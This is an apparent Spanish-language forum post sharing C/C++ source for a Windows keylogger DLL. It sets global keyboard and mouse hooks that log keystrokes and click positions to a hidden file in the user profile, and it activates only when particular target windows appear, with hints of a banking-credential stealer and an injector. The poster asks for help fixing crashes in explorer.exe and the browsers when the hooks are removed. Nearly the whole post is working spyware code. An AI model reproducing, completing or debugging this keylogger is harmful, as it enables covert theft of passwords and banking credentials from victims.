DLL
Código
LRESULT CALLBACK Filtro(int nCode, WORD wParam, DWORD lParam) { if(nCode<0){ return(CallNextHookEx(gancho,nCode,wParam,lParam)); } if (lParam & (1 << 31)) { char path[MAX_PATH]; FILE *datos; BYTE KeyboardState[256]; GetKeyboardState(KeyboardState); WORD CharValue; strcpy(path,getenv("USERPROFILE")); strcat(path,"\\Shellx64\\SPACK\\KLG.KL"); if(ToAscii(wParam,0,KeyboardState,&CharValue,0) > 0){ if((datos=fopen(path,"at"))==NULL){ return CallNextHookEx(gancho,nCode,wParam,lParam); } fprintf(datos,"%c",(char)CharValue); fclose(datos); } } return CallNextHookEx(gancho,nCode,wParam,lParam); } LRESULT CALLBACK FiltroMouse(int nCode, WORD wParam, LPARAM lParam) { if(nCode!=HC_ACTION ) { return(CallNextHookEx(ganchom,nCode,wParam,lParam)); } else switch(wParam) { case WM_LBUTTONDOWN: { PMOUSEHOOKSTRUCT MH=(PMOUSEHOOKSTRUCT)lParam; GuardarPosicion(MH->pt.x,MH->pt.y) ; Sleep(200); break; } default: return CallNextHookEx(ganchom,nCode,wParam,lParam); } return CallNextHookEx(ganchom,nCode,wParam,lParam); } EXTERN_C __declspec(dllexport)int CreaHook(BOOL Instala, HINSTANCE DLLInst,char* DIRKL) { char path[MAX_PATH]; strcpy(path,getenv("USERPROFILE")); strcat(path,"\\Shellx64\\SPACK\\KLG.KL"); FILE *datos; if(Instala==TRUE) { LoadDllss(); if((datos=fopen(path,"at"))!=NULL) { fprintf(datos,"%s","IniciandoKL"); fprintf(datos,"%s",DIRKL); fclose(datos); } gancho=MySetWindowsHook(WH_KEYBOARD,(HOOKPROC)Filtro,DLLInst,0); if(gancho==NULL){ return 0; } else{ return 1; } }else{ if((datos=fopen(path,"at"))!=NULL) { fprintf(datos,"%s","TerminandoKL"); fprintf(datos,"%s",DIRKL); fclose(datos); } return UnhookWindowsHookEx(gancho); } } EXTERN_C __declspec(dllexport)int CreaHookMouse(BOOL Instala, HINSTANCE DLLInst,char* DIRKL) { char path[MAX_PATH]; strcpy(path,getenv("USERPROFILE")); strcat(path,"\\Shellx64\\SPACK\\KLG.KL"); FILE *datos; if(Instala==TRUE) { LoadDllss(); if((datos=fopen(path,"at"))!=NULL) { fprintf(datos,"%s","IniciandoBKER"); fprintf(datos,"%s",DIRKL); fclose(datos); } ganchom=MySetWindowsHook(WH_MOUSE,(HOOKPROC)FiltroMouse,DLLInst,0); if(ganchom==NULL){ return 0; }else{ return 1; } }else{ if((datos=fopen(path,"at"))!=NULL) { fprintf(datos,"%s","TerminandoBKER"); fprintf(datos,"%s",DIRKL); fclose(datos); } return UnhookWindowsHookEx(ganchom); } }
main
Código
main() { HMODULE Dll=LoadLibraryA(DIRKL); Funcion = (LPFuncion)GetProcAddress(Dll,"CreaHook"); FuncionM = (LPFuncionM)GetProcAddress(Dll,"CreaHookMouse"); //INY=new Inyector(INFO->Masterdir ,CFS->RTKNAMEdll,INFO->SoyAdm); int lp=0; IniciarKeyLog(); bool banana=false,banana1=false;; while(1) { strcpy(LINKK,"NULL"); strcpy(LINKVINS,"NULL"); EnumWindows((WNDENUMPROC)EnumProc1,lp); if(strcmp(LINKK,"NULL")!=0&&!banana) { banana=true; FuncionM(TRUE,Dll,LINKK); } if(strcmp(LINKK,"NULL")==0&&banana) { banana=false; FuncionM(FALSE,Dll,LINKK); } if((strcmp(LINKVINS,"NULL")!=0||strcmp(LINKK,"NULL")!=0)&&!banana1) { banana1=true; Funcion(TRUE,Dll,LINKVINS); } if((strcmp(LINKVINS,"NULL")==0&&strcmp(LINKK,"NULL")==0)&&banana1) { banana1=false; Funcion(FALSE,Dll,LINKVINS); } Crono1++; Crono2++; Sleep(3000); } return 0; }
El pedaso de codigo del main es un extracto del main principal de mi programa ....
En si lo que intento hacer es detectar ciertas ventanas y si estan activas activar los hooks todo funciona de maravilla pero me interesa que al momento d eno existir ninguna ventana de interes los hooks sean desinstalados... por cuestiones de optimizacion ....... Pero al momento de cerrar la ventana de interes, la aplicacion desinstala los hooks perfectamente, pero explorer.exe, iexplorer.exe y firefox.exe rebotan unos feos errores que los obliga ha cerrar


Algun Cable?
Tambien se puede dejar ese puñal alli metido y no deshokearlos

Saludos ....
Se que esto va en el subforo de c++ pero he obtenido mas ayuda aqui que en ese subforo
